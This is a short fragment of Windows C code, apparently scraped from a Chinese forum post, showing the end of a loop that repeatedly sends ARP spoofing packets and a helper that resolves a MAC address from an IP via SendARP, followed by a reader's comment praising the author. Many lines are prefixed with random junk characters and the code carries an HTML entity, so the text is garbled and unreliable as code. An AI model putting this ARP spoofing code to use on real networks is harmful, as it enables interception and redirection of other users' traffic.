& U& R, A6 l3 B3 `* E; b      printf("Error sending the arp spoof packets!\n");
# _- F. j1 R. Y      return 0;
, |5 b, w- {9 k: m( N    }
    Sleep(1000);
8 B9 g# g5 |/ x6 M9 ~# I# |% m  }
  return 0;
}
! z6 L& v4 S  e: ]% j
//
//功能：输入IP取得对应的MAC地址
//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
7 m/ a: z2 A" ]: ?! ^; y  if(dwRet == NO_ERROR)
; P3 i/ Z9 N- y0 J3 c4 ~  {
- I: ]7 F  l6 \4 z# e1 C    memcpy(pMAC, pulMac, 6);
! w5 r  S3 J, {! B6 D- z/ J6 {    return TRUE;
  Y, Z1 t2 N* `1 k" a  }
  else return FALSE;
}

wy617958197

大侠好厉害啊